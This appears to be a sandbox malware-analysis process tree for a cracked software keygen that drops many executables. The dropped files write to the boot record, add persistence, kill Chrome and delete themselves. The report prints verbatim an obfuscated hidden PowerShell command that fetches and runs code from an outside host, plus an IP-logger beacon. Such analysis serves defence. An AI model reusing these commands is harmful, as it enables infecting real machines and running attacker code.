wrote to memory of 2788 1772 Setup.exe 99 PID 1772 wrote to memory of 2200 1772 Setup.exe 101 PID 1772 wrote to memory of 2200 1772 Setup.exe 101 PID 1772 wrote to memory of 2200 1772 Setup.exe 101 PID 2296 wrote to memory of 2092 2296 keygen-step-4.exe 103 PID 2296 wrote to memory of 2092 2296 keygen-step-4.exe 103 PID 2200 wrote to memory of 4148 2200 cmd.exe 105 PID 2200 wrote to memory of 4148 2200 cmd.exe 105 PID 2200 wrote to memory of 4148 2200 cmd.exe 105 PID 2092 wrote to memory of 4196 2092 Install.exe 106 PID 2092 wrote to memory of 4196 2092 Install.exe 106
Processes
-
C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1152 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3980 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
PID:3784
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:740
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:4088
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3964
-
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp15⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:936 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:4424
-
-
C:\Users\Admin\AppData\Roaming\1614543163996.exe"C:\Users\Admin\AppData\Roaming\1614543163996.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614543163996.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4612
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵PID:5044
-
-
C:\Users\Admin\AppData\Roaming\1614543169371.exe"C:\Users\Admin\AppData\Roaming\1614543169371.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614543169371.txt"6⤵PID:5056
-
-
C:\Users\Admin\AppData\Roaming\1614543176044.exe"C:\Users\Admin\AppData\Roaming\1614543176044.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614543176044.txt"6⤵PID:4552
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵PID:4624
-
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵PID:5452
-
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵PID:6508
-
-
C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exeC:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent6⤵PID:6176
-
C:\Users\Admin\AppData\Local\Temp\is-1RRLO.tmp\23E04C4F32EF2158.tmp"C:\Users\Admin\AppData\Local\Temp\is-1RRLO.tmp\23E04C4F32EF2158.tmp" /SL5="$502B6,746887,121344,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent7⤵PID:5876
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/14Zhe7"8⤵PID:4512
-
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s18⤵PID:6612
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵PID:4416
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"6⤵PID:6884
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:1432
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp15⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:2788 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:4432
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:4528
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"6⤵PID:4784
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:4956
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"5⤵
- Suspicious use of WriteProcessMemory
PID:2200 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
PID:4148
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Users\Admin\AppData\Local\Temp\H76KJGNDFM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\H76KJGNDFM\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
PID:4196 -
C:\Users\Admin\AppData\Local\Temp\H76KJGNDFM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\H76KJGNDFM\multitimer.exe" 1 3.1614543381.603bfa158fa2b 1016⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4740 -
C:\Users\Admin\AppData\Local\Temp\H76KJGNDFM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\H76KJGNDFM\multitimer.exe" 2 3.1614543381.603bfa158fa2b7⤵
- Executes dropped EXE
PID:4860 -
C:\Users\Admin\AppData\Local\Temp\i4xuyhqhzzd\padcsryg3se.exe"C:\Users\Admin\AppData\Local\Temp\i4xuyhqhzzd\padcsryg3se.exe" /VERYSILENT8⤵PID:4836
-
C:\Users\Admin\AppData\Local\Temp\is-V5DKJ.tmp\padcsryg3se.tmp"C:\Users\Admin\AppData\Local\Temp\is-V5DKJ.tmp\padcsryg3se.tmp" /SL5="$501DE,870426,780800,C:\Users\Admin\AppData\Local\Temp\i4xuyhqhzzd\padcsryg3se.exe" /VERYSILENT9⤵PID:4492
-
C:\Users\Admin\AppData\Local\Temp\is-DUVNI.tmp\winlthst.exe"C:\Users\Admin\AppData\Local\Temp\is-DUVNI.tmp\winlthst.exe" test1 test110⤵PID:4240
-
C:\Users\Admin\AppData\Local\Temp\efkOosCWO.exe"C:\Users\Admin\AppData\Local\Temp\efkOosCWO.exe"11⤵PID:4768
-
C:\Users\Admin\AppData\Local\Temp\efkOosCWO.exe"C:\Users\Admin\AppData\Local\Temp\efkOosCWO.exe"12⤵PID:6716
-
C:\Users\Admin\AppData\Local\Temp\1614543225395.exe"C:\Users\Admin\AppData\Local\Temp\1614543225395.exe"13⤵PID:6744
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe14⤵PID:5684
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:5088
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵PID:8144
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4bdqemgo05s\safebits.exe"C:\Users\Admin\AppData\Local\Temp\4bdqemgo05s\safebits.exe" /S /pubid=1 /subid=4518⤵PID:4188
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 6489⤵
- Program crash
PID:7424
-
-
-
C:\Users\Admin\AppData\Local\Temp\yyqzxax2qhw\vict.exe"C:\Users\Admin\AppData\Local\Temp\yyqzxax2qhw\vict.exe" /VERYSILENT /id=5358⤵PID:4620
-
C:\Users\Admin\AppData\Local\Temp\is-L2PC5.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-L2PC5.tmp\vict.tmp" /SL5="$3025C,870426,780800,C:\Users\Admin\AppData\Local\Temp\yyqzxax2qhw\vict.exe" /VERYSILENT /id=5359⤵PID:5036
-
C:\Users\Admin\AppData\Local\Temp\is-HV5CL.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-HV5CL.tmp\wimapi.exe" 53510⤵PID:5160
-
C:\Users\Admin\AppData\Local\Temp\LGJTVaxtz.exe"C:\Users\Admin\AppData\Local\Temp\LGJTVaxtz.exe"11⤵PID:4372
-
C:\Users\Admin\AppData\Local\Temp\LGJTVaxtz.exe"C:\Users\Admin\AppData\Local\Temp\LGJTVaxtz.exe"12⤵PID:6852
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:7428
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵PID:6684
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ou1iemsb1a4\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\ou1iemsb1a4\Setup3310.exe" /Verysilent /subid=5778⤵PID:2292
-
C:\Users\Admin\AppData\Local\Temp\is-1IEAM.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-1IEAM.tmp\Setup3310.tmp" /SL5="$102C0,802346,56832,C:\Users\Admin\AppData\Local\Temp\ou1iemsb1a4\Setup3310.exe" /Verysilent /subid=5779⤵PID:4760
-
C:\Users\Admin\AppData\Local\Temp\is-A8NLD.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-A8NLD.tmp\Setup.exe" /Verysilent10⤵PID:3932
-
C:\Users\Admin\AppData\Local\Temp\is-58A08.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-58A08.tmp\Setup.tmp" /SL5="$402AC,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-A8NLD.tmp\Setup.exe" /Verysilent11⤵PID:4544
-
C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\ProPlugin.exe" /Verysilent12⤵PID:5904
-
C:\Users\Admin\AppData\Local\Temp\is-EO3ME.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-EO3ME.tmp\ProPlugin.tmp" /SL5="$50376,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\ProPlugin.exe" /Verysilent13⤵PID:4576
-
C:\Users\Admin\AppData\Local\Temp\is-JF27S.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-JF27S.tmp\Setup.exe"14⤵PID:6676
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"15⤵PID:6988
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe16⤵
- Kills process with taskkill
PID:2280
-
-
C:\Windows\regedit.exeregedit /s chrome.reg16⤵
- Runs .reg file with regedit
PID:5268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat16⤵PID:4464
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)17⤵PID:6456
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\chrome64.bat" h"18⤵PID:6408
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"19⤵PID:2640
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd8,0xdc,0xe0,0xb4,0xe4,0x7ffb4d3a6e00,0x7ffb4d3a6e10,0x7ffb4d3a6e2020⤵PID:5244
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1648 /prefetch:820⤵PID:6668
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1604 /prefetch:220⤵PID:3264
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2524 /prefetch:120⤵PID:5940
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2516 /prefetch:120⤵PID:6616
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2968 /prefetch:120⤵PID:5656
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:120⤵PID:1412
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:120⤵PID:6500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3076 /prefetch:120⤵PID:7120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4288 /prefetch:820⤵PID:6808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4148 /prefetch:820⤵PID:5416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4304 /prefetch:820⤵PID:5548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4788 /prefetch:820⤵PID:2092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5076 /prefetch:820⤵PID:7372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=956 /prefetch:820⤵PID:4812
-
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings20⤵PID:6916
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff738427740,0x7ff738427750,0x7ff73842776021⤵PID:4364
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4120 /prefetch:820⤵PID:5392
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1544 /prefetch:820⤵PID:6708
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5040 /prefetch:820⤵PID:5332
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4036 /prefetch:820⤵PID:2084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4964 /prefetch:820⤵PID:6848
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1856 /prefetch:820⤵PID:4596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4988 /prefetch:820⤵PID:7368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3844 /prefetch:820⤵PID:7092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4028 /prefetch:820⤵PID:5636
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5020 /prefetch:820⤵PID:4992
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4184 /prefetch:820⤵PID:7836
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3664 /prefetch:820⤵PID:6116
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3456 /prefetch:820⤵PID:7936
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4196 /prefetch:820⤵PID:2668
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4356 /prefetch:820⤵PID:3452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4416 /prefetch:820⤵PID:5280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5016 /prefetch:820⤵PID:7072
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4912 /prefetch:820⤵PID:3748
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4804 /prefetch:820⤵PID:5612
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3108 /prefetch:820⤵PID:7816
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2988 /prefetch:820⤵PID:6304
-
-
